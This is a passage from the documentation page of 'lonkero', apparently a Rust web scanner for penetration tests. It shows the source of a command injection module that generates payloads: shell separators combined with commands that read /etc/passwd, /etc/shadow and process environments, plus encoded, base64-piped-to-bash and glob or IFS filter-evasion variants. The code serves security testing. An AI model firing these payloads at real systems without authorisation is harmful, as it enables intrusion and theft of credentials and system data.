lonkero 3.6.2

Web scanner built for actual pentests. Fast, modular, Rust.
Documentation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
1005
1006
1007
1008
1009
1010
1011
1012
1013
1014
1015
1016
1017
1018
1019
1020
1021
1022
1023
1024
1025
1026
1027
1028
1029
1030
1031
1032
1033
1034
1035
1036
1037
1038
1039
1040
1041
1042
1043
1044
1045
1046
1047
1048
1049
1050
1051
1052
1053
1054
1055
1056
1057
1058
1059
1060
1061
1062
1063
1064
1065
1066
1067
1068
1069
1070
1071
1072
1073
1074
1075
1076
1077
1078
1079
1080
1081
1082
1083
1084
1085
1086
1087
1088
1089
1090
1091
1092
1093
1094
1095
1096
1097
1098
1099
1100
1101
1102
1103
1104
1105
1106
1107
1108
1109
1110
1111
1112
1113
1114
1115
1116
1117
1118
1119
1120
1121
1122
1123
1124
1125
1126
1127
1128
1129
1130
1131
1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
1150
1151
1152
1153
1154
1155
1156
1157
1158
1159
1160
1161
1162
1163
1164
1165
1166
1167
1168
1169
1170
1171
1172
1173
1174
1175
1176
1177
1178
1179
1180
1181
1182
1183
1184
1185
1186
1187
1188
1189
1190
1191
1192
1193
1194
1195
1196
1197
1198
1199
1200
1201
1202
1203
1204
1205
1206
1207
1208
1209
1210
1211
1212
1213
1214
1215
1216
1217
1218
1219
1220
1221
1222
1223
1224
1225
1226
1227
1228
1229
1230
1231
1232
1233
1234
1235
1236
1237
1238
1239
1240
1241
1242
1243
1244
1245
1246
1247
1248
1249
1250
1251
1252
1253
1254
1255
1256
1257
1258
1259
1260
1261
1262
1263
1264
1265
1266
1267
1268
1269
1270
1271
1272
1273
1274
1275
1276
1277
1278
1279
1280
1281
1282
1283
1284
1285
1286
1287
1288
1289
1290
1291
1292
1293
1294
1295
1296
1297
1298
1299
1300
1301
1302
1303
1304
1305
1306
1307
1308
1309
1310
1311
1312
1313
1314
1315
1316
1317
1318
1319
1320
1321
1322
1323
1324
1325
1326
1327
1328
1329
1330
1331
1332
1333
1334
1335
1336
1337
1338
1339
1340
1341
1342
1343
1344
1345
1346
1347
1348
1349
1350
1351
1352
1353
1354
1355
1356
1357
1358
1359
1360
1361
1362
1363
1364
1365
1366
1367
1368
1369
1370
1371
1372
1373
1374
1375
1376
1377
1378
1379
1380
1381
1382
1383
1384
1385
1386
1387
1388
1389
1390
1391
1392
1393
1394
1395
1396
1397
1398
1399
1400
1401
1402
1403
1404
1405
1406
1407
1408
1409
1410
1411
1412
1413
1414
1415
1416
1417
1418
1419
1420
1421
1422
1423
1424
1425
1426
1427
1428
1429
1430
1431
1432
1433
1434
1435
1436
1437
1438
1439
1440
1441
1442
1443
1444
1445
1446
1447
1448
1449
1450
1451
1452
1453
1454
1455
1456
1457
1458
1459
1460
1461
1462
1463
1464
1465
1466
1467
1468
1469
1470
1471
1472
1473
1474
1475
1476
1477
1478
1479
1480
1481
1482
1483
1484
1485
1486
1487
1488
1489
1490
1491
1492
1493
1494
1495
1496
1497
1498
1499
1500
1501
1502
1503
1504
1505
1506
1507
1508
1509
1510
1511
1512
1513
1514
1515
1516
1517
1518
1519
1520
1521
1522
1523
1524
1525
1526
1527
1528
1529
1530
1531
1532
1533
1534
1535
1536
1537
1538
1539
1540
1541
1542
1543
1544
1545
1546
1547
1548
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558
1559
1560
1561
1562
1563
1564
1565
1566
1567
1568
1569
1570
1571
1572
1573
1574
1575
1576
1577
1578
1579
1580
1581
1582
1583
1584
1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
1603
1604
1605
1606
1607
1608
1609
1610
1611
1612
1613
1614
1615
1616
1617
1618
1619
1620
1621
1622
1623
1624
1625
1626
1627
1628
1629
1630
1631
1632
1633
1634
1635
1636
1637
1638
1639
1640
1641
1642
1643
1644
1645
1646
1647
1648
1649
1650
1651
1652
1653
1654
1655
1656
1657
1658
1659
1660
1661
1662
1663
1664
1665
1666
1667
1668
1669
1670
1671
1672
1673
1674
1675
1676
1677
1678
1679
1680
1681
1682
1683
1684
1685
1686
1687
1688
1689
1690
1691
1692
1693
1694
1695
1696
1697
1698
1699
1700
1701
1702
1703
1704
1705
1706
1707
1708
1709
1710
1711
1712
1713
1714
1715
1716
1717
1718
1719
1720
1721
1722
1723
1724
1725
1726
1727
1728
1729
1730
1731
1732
1733
1734
1735
1736
1737
1738
1739
1740
1741
1742
1743
1744
1745
1746
1747
1748
1749
1750
1751
1752
1753
1754
1755
1756
1757
1758
1759
1760
1761
1762
1763
1764
1765
1766
1767
1768
1769
1770
1771
1772
1773
1774
1775
1776
1777
1778
1779
1780
1781
1782
1783
1784
1785
1786
1787
1788
1789
1790
1791
1792
1793
1794
1795
1796
1797
1798
1799
1800
1801
1802
1803
1804
1805
1806
1807
1808
1809
1810
1811
1812
1813
1814
1815
1816
1817
1818
1819
1820
1821
1822
1823
1824
1825
1826
1827
1828
1829
1830
1831
1832
1833
1834
1835
1836
1837
1838
1839
1840
1841
1842
1843
1844
1845
1846
1847
1848
1849
1850
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863
1864
1865
1866
1867
1868
1869
1870
1871
1872
1873
1874
1875
1876
1877
1878
1879
1880
1881
1882
1883
1884
1885
1886
1887
1888
1889
1890
1891
1892
1893
1894
1895
1896
1897
1898
1899
1900
1901
1902
1903
1904
1905
1906
1907
1908
1909
1910
1911
1912
1913
1914
1915
1916
1917
1918
1919
1920
1921
1922
1923
1924
1925
1926
1927
1928
1929
1930
1931
1932
1933
1934
1935
1936
1937
1938
1939
1940
1941
1942
1943
1944
1945
1946
1947
1948
1949
1950
1951
1952
1953
1954
1955
1956
1957
1958
1959
1960
1961
1962
1963
1964
1965
1966
1967
1968
1969
1970
1971
1972
1973
1974
1975
1976
1977
1978
1979
1980
1981
1982
1983
1984
1985
1986
1987
1988
1989
1990
1991
1992
1993
1994
1995
1996
1997
1998
1999
2000
2001
2002
2003
2004
2005
2006
2007
2008
2009
2010
2011
2012
2013
2014
2015
2016
2017
2018
2019
// Copyright (c) 2026 Bountyy Oy. All rights reserved.
// This software is proprietary and confidential.

use crate::http_client::HttpClient;
use crate::scanners::parameter_filter::{ParameterFilter, ScannerType};
use crate::scanners::registry::PayloadIntensity;
use crate::types::{Confidence, ScanConfig, Severity, Vulnerability};
use anyhow::Result;
use std::sync::Arc;
use std::time::{Duration, Instant};
use tracing::{debug, info};

/// Command injection bypass category
#[derive(Debug, Clone, PartialEq, Eq, Hash)]
pub enum CmdInjectionCategory {
    /// Basic shell metacharacters (;, |, &, etc.)
    ShellMetacharacters,
    /// Command substitution ($(), ``)
    CommandSubstitution,
    /// Newline/carriage return injection
    NewlineInjection,
    /// URL encoding bypass
    EncodingBypass,
    /// Double encoding bypass
    DoubleEncoding,
    /// Environment variable exploitation
    EnvironmentVars,
    /// Time-based blind injection
    TimeBased,
    /// DNS out-of-band detection
    DnsOutOfBand,
    /// Filter evasion techniques
    FilterEvasion,
    /// Windows-specific commands
    WindowsSpecific,
    /// Unix-specific commands
    UnixSpecific,
    /// Argument injection
    ArgumentInjection,
    /// Obfuscation techniques
    Obfuscation,
    /// Context breaking (quotes, escapes)
    ContextBreaking,
    /// Polyglot payloads
    Polyglot,
    /// Wildcard bypass
    WildcardBypass,
    /// Quote manipulation
    QuoteManipulation,
    /// Concatenation bypass
    ConcatenationBypass,
    /// Hex/Octal encoding
    HexOctalEncoding,
    /// IFS manipulation
    IFSManipulation,
    /// Brace expansion
    BraceExpansion,
}

impl CmdInjectionCategory {
    fn as_str(&self) -> &str {
        match self {
            Self::ShellMetacharacters => "Shell Metacharacters",
            Self::CommandSubstitution => "Command Substitution",
            Self::NewlineInjection => "Newline Injection",
            Self::EncodingBypass => "Encoding Bypass",
            Self::DoubleEncoding => "Double Encoding",
            Self::EnvironmentVars => "Environment Variables",
            Self::TimeBased => "Time-Based Blind",
            Self::DnsOutOfBand => "DNS Out-of-Band",
            Self::FilterEvasion => "Filter Evasion",
            Self::WindowsSpecific => "Windows Specific",
            Self::UnixSpecific => "Unix Specific",
            Self::ArgumentInjection => "Argument Injection",
            Self::Obfuscation => "Obfuscation",
            Self::ContextBreaking => "Context Breaking",
            Self::Polyglot => "Polyglot",
            Self::WildcardBypass => "Wildcard Bypass",
            Self::QuoteManipulation => "Quote Manipulation",
            Self::ConcatenationBypass => "Concatenation Bypass",
            Self::HexOctalEncoding => "Hex/Octal Encoding",
            Self::IFSManipulation => "IFS Manipulation",
            Self::BraceExpansion => "Brace Expansion",
        }
    }
}

/// Command injection payload with metadata
struct CmdPayload {
    payload: String,
    category: CmdInjectionCategory,
    description: String,
    detection_method: DetectionMethod,
    expected_delay: Option<u64>,
}

#[derive(Debug, Clone)]
enum DetectionMethod {
    /// Check for command output in response
    OutputBased,
    /// Check for response time delay
    TimeBased(u64),
    /// Check for DNS callback
    DnsCallback,
    /// Check for error messages
    ErrorBased,
}

pub struct CommandInjectionScanner {
    http_client: Arc<HttpClient>,
}

impl CommandInjectionScanner {
    pub fn new(http_client: Arc<HttpClient>) -> Self {
        Self { http_client }
    }

    // ============================================================
    // PAYLOAD GENERATORS - Create 1000+ payloads algorithmically
    // ============================================================

    /// Generate shell metacharacter separators
    fn generate_separators(&self) -> Vec<(&'static str, &'static str)> {
        vec![
            (";", "Semicolon"),
            (";;", "Double semicolon"),
            ("|", "Pipe"),
            ("||", "Double pipe (OR)"),
            ("&", "Ampersand"),
            ("&&", "Double ampersand (AND)"),
            ("\n", "Newline"),
            ("\r\n", "CRLF"),
            ("\r", "Carriage return"),
            ("%0a", "URL encoded LF"),
            ("%0d", "URL encoded CR"),
            ("%0d%0a", "URL encoded CRLF"),
            ("%00", "Null byte"),
            ("`", "Backtick start"),
            ("$(", "Dollar paren start"),
        ]
    }

    /// Generate commands to execute for detection
    fn generate_commands(&self) -> Vec<(&'static str, &'static str, bool)> {
        // (command, description, is_windows)
        vec![
            // Unix commands
            ("id", "Unix id command", false),
            ("whoami", "Whoami command", false),
            ("uname", "Unix uname", false),
            ("uname -a", "Unix uname all", false),
            ("cat /etc/passwd", "Read passwd file", false),
            ("cat /etc/shadow", "Read shadow file", false),
            ("ls", "List directory", false),
            ("ls -la", "List all files", false),
            ("ls -la /", "List root", false),
            ("pwd", "Print working directory", false),
            ("env", "Print environment", false),
            ("printenv", "Print environment alt", false),
            ("set", "Print shell variables", false),
            ("ps", "Process list", false),
            ("ps aux", "All processes", false),
            ("netstat -an", "Network stats", false),
            ("ifconfig", "Network interfaces", false),
            ("ip addr", "IP addresses", false),
            ("hostname", "Hostname", false),
            ("df -h", "Disk space", false),
            ("free -m", "Memory usage", false),
            ("w", "Who is logged in", false),
            ("last", "Last logins", false),
            ("history", "Command history", false),
            ("cat /proc/version", "Kernel version", false),
            ("cat /proc/self/environ", "Process environ", false),
            ("/bin/id", "Full path id", false),
            ("/usr/bin/id", "Usr path id", false),
            ("/bin/cat /etc/passwd", "Full path cat passwd", false),
            // Windows commands
            ("dir", "Windows dir", true),
            ("dir C:\\", "Windows dir C:", true),
            ("type C:\\Windows\\win.ini", "Read win.ini", true),
            (
                "type C:\\Windows\\System32\\drivers\\etc\\hosts",
                "Read hosts",
                true,
            ),
            ("whoami", "Windows whoami", true),
            ("hostname", "Windows hostname", true),
            ("ipconfig", "Windows IP config", true),
            ("ipconfig /all", "Windows full IP config", true),
            ("net user", "Windows users", true),
            ("net localgroup", "Windows groups", true),
            ("systeminfo", "Windows system info", true),
            ("tasklist", "Windows processes", true),
            ("netstat -an", "Windows netstat", true),
            ("set", "Windows env vars", true),
            ("echo %USERNAME%", "Windows username", true),
            ("echo %COMPUTERNAME%", "Windows computer", true),
            ("echo %PATH%", "Windows PATH", true),
            ("echo %USERPROFILE%", "Windows user profile", true),
        ]
    }

    /// Generate time-based delay commands
    fn generate_delay_commands(&self) -> Vec<(&'static str, u64, bool)> {
        // (command, delay_seconds, is_windows)
        vec![
            // Unix sleep
            ("sleep 5", 5, false),
            ("sleep 10", 10, false),
            ("sleep 3", 3, false),
            ("/bin/sleep 5", 5, false),
            // Unix ping (blocks for count * 1 second)
            ("ping -c 5 127.0.0.1", 5, false),
            ("ping -c 10 127.0.0.1", 10, false),
            // Windows timeout
            ("timeout /t 5", 5, true),
            ("timeout /t 10", 10, true),
            // Windows ping
            ("ping -n 5 127.0.0.1", 5, true),
            ("ping -n 10 127.0.0.1", 10, true),
            // Slow operations
            ("head -c 10000000 /dev/zero", 3, false),
            ("dd if=/dev/zero bs=1M count=100", 3, false),
        ]
    }

    /// Generate shell metacharacter payloads
    fn generate_metachar_payloads(&self) -> Vec<CmdPayload> {
        let mut payloads = Vec::new();
        let separators = self.generate_separators();
        let commands = self.generate_commands();

        // Generate combinations: separator + command
        for (sep, sep_desc) in &separators {
            for (cmd, cmd_desc, _is_win) in &commands {
                // Skip backtick/dollar-paren as they need special handling
                if *sep == "`" || *sep == "$(" {
                    continue;
                }

                // Basic: separator + command
                payloads.push(CmdPayload {
                    payload: format!("{}{}", sep, cmd),
                    category: CmdInjectionCategory::ShellMetacharacters,
                    description: format!("{} + {}", sep_desc, cmd_desc),
                    detection_method: DetectionMethod::OutputBased,
                    expected_delay: None,
                });

                // With space: separator + space + command
                payloads.push(CmdPayload {
                    payload: format!("{} {}", sep, cmd),
                    category: CmdInjectionCategory::ShellMetacharacters,
                    description: format!("{} space + {}", sep_desc, cmd_desc),
                    detection_method: DetectionMethod::OutputBased,
                    expected_delay: None,
                });

                // Wrapped: separator + command + separator
                if *sep != "\n" && *sep != "\r" && *sep != "\r\n" {
                    payloads.push(CmdPayload {
                        payload: format!("{}{}{}", sep, cmd, sep),
                        category: CmdInjectionCategory::ShellMetacharacters,
                        description: format!("{} wrapped + {}", sep_desc, cmd_desc),
                        detection_method: DetectionMethod::OutputBased,
                        expected_delay: None,
                    });
                }
            }
        }

        payloads
    }

    /// Generate command substitution payloads
    fn generate_substitution_payloads(&self) -> Vec<CmdPayload> {
        let mut payloads = Vec::new();
        let commands = self.generate_commands();

        for (cmd, cmd_desc, is_win) in &commands {
            if *is_win {
                continue; // Substitution is Unix-specific
            }

            // Backtick substitution
            payloads.push(CmdPayload {
                payload: format!("`{}`", cmd),
                category: CmdInjectionCategory::CommandSubstitution,
                description: format!("Backtick {}", cmd_desc),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });

            // Dollar-paren substitution
            payloads.push(CmdPayload {
                payload: format!("$({})", cmd),
                category: CmdInjectionCategory::CommandSubstitution,
                description: format!("Dollar-paren {}", cmd_desc),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });

            // With prefix
            payloads.push(CmdPayload {
                payload: format!("a`{}`", cmd),
                category: CmdInjectionCategory::CommandSubstitution,
                description: format!("Prefix backtick {}", cmd_desc),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });

            payloads.push(CmdPayload {
                payload: format!("a$({})", cmd),
                category: CmdInjectionCategory::CommandSubstitution,
                description: format!("Prefix dollar-paren {}", cmd_desc),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });

            // Wrapped
            payloads.push(CmdPayload {
                payload: format!("a`{}`b", cmd),
                category: CmdInjectionCategory::CommandSubstitution,
                description: format!("Wrapped backtick {}", cmd_desc),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });

            payloads.push(CmdPayload {
                payload: format!("a$({})b", cmd),
                category: CmdInjectionCategory::CommandSubstitution,
                description: format!("Wrapped dollar-paren {}", cmd_desc),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        // Nested substitution
        payloads.push(CmdPayload {
            payload: "$($(id))".to_string(),
            category: CmdInjectionCategory::CommandSubstitution,
            description: "Nested dollar-paren".to_string(),
            detection_method: DetectionMethod::OutputBased,
            expected_delay: None,
        });

        payloads.push(CmdPayload {
            payload: "`$(id)`".to_string(),
            category: CmdInjectionCategory::CommandSubstitution,
            description: "Mixed backtick dollar".to_string(),
            detection_method: DetectionMethod::OutputBased,
            expected_delay: None,
        });

        payloads.push(CmdPayload {
            payload: "$(`id`)".to_string(),
            category: CmdInjectionCategory::CommandSubstitution,
            description: "Dollar with backtick".to_string(),
            detection_method: DetectionMethod::OutputBased,
            expected_delay: None,
        });

        payloads
    }

    /// Generate time-based blind payloads
    fn generate_time_based_payloads(&self) -> Vec<CmdPayload> {
        let mut payloads = Vec::new();
        let separators = vec![";", "|", "||", "&&", "&", "\n", "%0a"];
        let delay_commands = self.generate_delay_commands();

        for sep in &separators {
            for (cmd, delay, _is_win) in &delay_commands {
                // Basic: separator + delay command
                payloads.push(CmdPayload {
                    payload: format!("{}{}", sep, cmd),
                    category: CmdInjectionCategory::TimeBased,
                    description: format!("Time-based {} ({}s)", cmd, delay),
                    detection_method: DetectionMethod::TimeBased(*delay),
                    expected_delay: Some(*delay),
                });

                // With space
                payloads.push(CmdPayload {
                    payload: format!("{} {}", sep, cmd),
                    category: CmdInjectionCategory::TimeBased,
                    description: format!("Time-based spaced {} ({}s)", cmd, delay),
                    detection_method: DetectionMethod::TimeBased(*delay),
                    expected_delay: Some(*delay),
                });
            }
        }

        // Command substitution with delay
        for (cmd, delay, is_win) in &delay_commands {
            if *is_win {
                continue;
            }

            payloads.push(CmdPayload {
                payload: format!("$({})", cmd),
                category: CmdInjectionCategory::TimeBased,
                description: format!("Dollar-paren {} ({}s)", cmd, delay),
                detection_method: DetectionMethod::TimeBased(*delay),
                expected_delay: Some(*delay),
            });

            payloads.push(CmdPayload {
                payload: format!("`{}`", cmd),
                category: CmdInjectionCategory::TimeBased,
                description: format!("Backtick {} ({}s)", cmd, delay),
                detection_method: DetectionMethod::TimeBased(*delay),
                expected_delay: Some(*delay),
            });
        }

        payloads
    }

    /// Generate encoding bypass payloads
    fn generate_encoding_payloads(&self) -> Vec<CmdPayload> {
        let mut payloads = Vec::new();

        // URL encoded separators
        let encoded_payloads = vec![
            // URL encoded
            (
                "%3bid",
                "URL encoded semicolon id",
                CmdInjectionCategory::EncodingBypass,
            ),
            (
                "%3Bid",
                "URL encoded semicolon (upper) id",
                CmdInjectionCategory::EncodingBypass,
            ),
            (
                "%7cid",
                "URL encoded pipe id",
                CmdInjectionCategory::EncodingBypass,
            ),
            (
                "%7Cid",
                "URL encoded pipe (upper) id",
                CmdInjectionCategory::EncodingBypass,
            ),
            (
                "%26id",
                "URL encoded ampersand id",
                CmdInjectionCategory::EncodingBypass,
            ),
            (
                "%26%26id",
                "URL double ampersand id",
                CmdInjectionCategory::EncodingBypass,
            ),
            (
                "%7c%7cid",
                "URL double pipe id",
                CmdInjectionCategory::EncodingBypass,
            ),
            (
                "%60id%60",
                "URL encoded backticks id",
                CmdInjectionCategory::EncodingBypass,
            ),
            (
                "%24(id)",
                "URL encoded dollar paren",
                CmdInjectionCategory::EncodingBypass,
            ),
            (
                "%24%28id%29",
                "URL full encoded $(id)",
                CmdInjectionCategory::EncodingBypass,
            ),
            // Double URL encoded
            (
                "%253bid",
                "Double encoded semicolon id",
                CmdInjectionCategory::DoubleEncoding,
            ),
            (
                "%253Bid",
                "Double encoded semicolon (upper) id",
                CmdInjectionCategory::DoubleEncoding,
            ),
            (
                "%257cid",
                "Double encoded pipe id",
                CmdInjectionCategory::DoubleEncoding,
            ),
            (
                "%2526id",
                "Double encoded ampersand id",
                CmdInjectionCategory::DoubleEncoding,
            ),
            (
                "%2560id%2560",
                "Double encoded backticks",
                CmdInjectionCategory::DoubleEncoding,
            ),
            (
                "%2524%2528id%2529",
                "Double encoded $(id)",
                CmdInjectionCategory::DoubleEncoding,
            ),
            // Triple URL encoded
            (
                "%25253bid",
                "Triple encoded semicolon id",
                CmdInjectionCategory::DoubleEncoding,
            ),
            (
                "%25257cid",
                "Triple encoded pipe id",
                CmdInjectionCategory::DoubleEncoding,
            ),
            // Unicode encoding
            (
                "%u003bid",
                "Unicode semicolon",
                CmdInjectionCategory::EncodingBypass,
            ),
            (
                "%u007cid",
                "Unicode pipe",
                CmdInjectionCategory::EncodingBypass,
            ),
            (
                "%u0026id",
                "Unicode ampersand",
                CmdInjectionCategory::EncodingBypass,
            ),
        ];

        for (payload, desc, category) in encoded_payloads {
            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category,
                description: desc.to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        // Hex encoding for bash
        let hex_payloads = vec![
            ("$'\\x69\\x64'", "Hex encoded id"),
            ("$'\\x77\\x68\\x6f\\x61\\x6d\\x69'", "Hex encoded whoami"),
            (
                "$'\\x63\\x61\\x74\\x20\\x2f\\x65\\x74\\x63\\x2f\\x70\\x61\\x73\\x73\\x77\\x64'",
                "Hex encoded cat /etc/passwd",
            ),
            ("$'\\x6c\\x73'", "Hex encoded ls"),
            ("$'\\x75\\x6e\\x61\\x6d\\x65'", "Hex encoded uname"),
        ];

        for (payload, desc) in hex_payloads {
            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category: CmdInjectionCategory::HexOctalEncoding,
                description: desc.to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });

            // With separator
            payloads.push(CmdPayload {
                payload: format!(";{}", payload),
                category: CmdInjectionCategory::HexOctalEncoding,
                description: format!("Semicolon + {}", desc),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        // Octal encoding for bash
        let octal_payloads = vec![
            ("$'\\151\\144'", "Octal encoded id"),
            ("$'\\167\\150\\157\\141\\155\\151'", "Octal encoded whoami"),
            ("$'\\154\\163'", "Octal encoded ls"),
        ];

        for (payload, desc) in octal_payloads {
            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category: CmdInjectionCategory::HexOctalEncoding,
                description: desc.to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });

            payloads.push(CmdPayload {
                payload: format!(";{}", payload),
                category: CmdInjectionCategory::HexOctalEncoding,
                description: format!("Semicolon + {}", desc),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        // Base64 encoding
        let base64_payloads = vec![
            ("$(echo aWQ= | base64 -d)", "Base64 id"),
            ("`echo aWQ= | base64 -d`", "Backtick base64 id"),
            ("$(echo d2hvYW1p | base64 -d)", "Base64 whoami"),
            ("$(echo bHM= | base64 -d)", "Base64 ls"),
            (
                "$(echo Y2F0IC9ldGMvcGFzc3dk | base64 -d)",
                "Base64 cat passwd",
            ),
            (";echo aWQ= | base64 -d | bash", "Base64 piped to bash"),
            (";bash -c \"$(echo aWQ= | base64 -d)\"", "Bash -c base64"),
            ("|base64 -d<<<aWQ=", "Herestring base64"),
        ];

        for (payload, desc) in base64_payloads {
            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category: CmdInjectionCategory::Obfuscation,
                description: desc.to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        payloads
    }

    /// Generate IFS and environment variable payloads
    fn generate_ifs_payloads(&self) -> Vec<CmdPayload> {
        let mut payloads = Vec::new();

        let ifs_payloads = vec![
            // IFS (Internal Field Separator) bypass
            (";$IFS$9id", "IFS space bypass"),
            ("${IFS}id", "IFS variable bypass"),
            (";${IFS}id", "Semicolon IFS id"),
            ("|${IFS}id", "Pipe IFS id"),
            ("&&${IFS}id", "AND IFS id"),
            ("||${IFS}id", "OR IFS id"),
            (";$IFS'id'", "IFS with quotes"),
            (";$IFS$IFSid", "Double IFS"),
            ("$IFS;$IFS$9id", "IFS separator IFS id"),
            // Tab as separator
            (";\tid", "Tab separator id"),
            ("|\tid", "Pipe tab id"),
            // Various IFS variations
            (";{id}", "Brace id"),
            (";{id,}", "Brace expansion id"),
            (";{id,whoami}", "Multi brace expansion"),
            ("$IFS`id`", "IFS backtick"),
            ("$IFS$(id)", "IFS dollar-paren"),
            // Environment variables
            ("$SHELL", "Shell variable"),
            ("${SHELL}", "Shell variable braces"),
            ("$HOME", "Home directory"),
            ("${HOME}", "Home directory braces"),
            ("$PATH", "PATH variable"),
            ("$USER", "User variable"),
            ("$HOSTNAME", "Hostname variable"),
            ("$$", "Process ID"),
            ("$0", "Shell name"),
            ("$@", "All parameters"),
            ("$*", "All parameters alt"),
            ("$#", "Parameter count"),
            ("$?", "Exit status"),
            ("$!", "Background PID"),
        ];

        for (payload, desc) in ifs_payloads {
            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category: CmdInjectionCategory::IFSManipulation,
                description: desc.to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        // PATH bypass
        let path_payloads = vec![
            (";/???/i?", "Glob id path"),
            (";/???/??oami", "Glob whoami path"),
            (";/???/b??/id", "Glob bin id"),
            (";/???/b??/wh*", "Glob whoami partial"),
            (";/???/???/id", "Glob usr bin id"),
            ("${PATH:0:1}bin${PATH:0:1}id", "PATH variable bypass"),
            ("${PATH:0:1}etc${PATH:0:1}passwd", "PATH to passwd"),
        ];

        for (payload, desc) in path_payloads {
            payloads.push(CmdPayload {
                payload: payload.to_string(),
                category: CmdInjectionCategory::WildcardBypass,
                description: desc.to_string(),
                detection_method: DetectionMethod::OutputBased,
                expected_delay: None,
            });
        }

        payloads
    }

    /// Generate filter evasion payloads
    fn generate_filter_evasion_payloads(&self) -> Vec<CmdPayload> {
        let mut payloads = Vec::new();

        // Wildcard bypass
        let wildcard_payloads = vec![
            ("/???/i?", "Wildcard id"),
            ("/???/??oami", "Wildcard whoami"),
            ("/???/b??/id", "Wildcard bin id"),
            ("/???/b??/wh*", "Wildcard whoami partial"),
            ("/???/???/i?", "Wildcard usr bin id"),
            ("/b?n/i?", "Short wildcard id"),
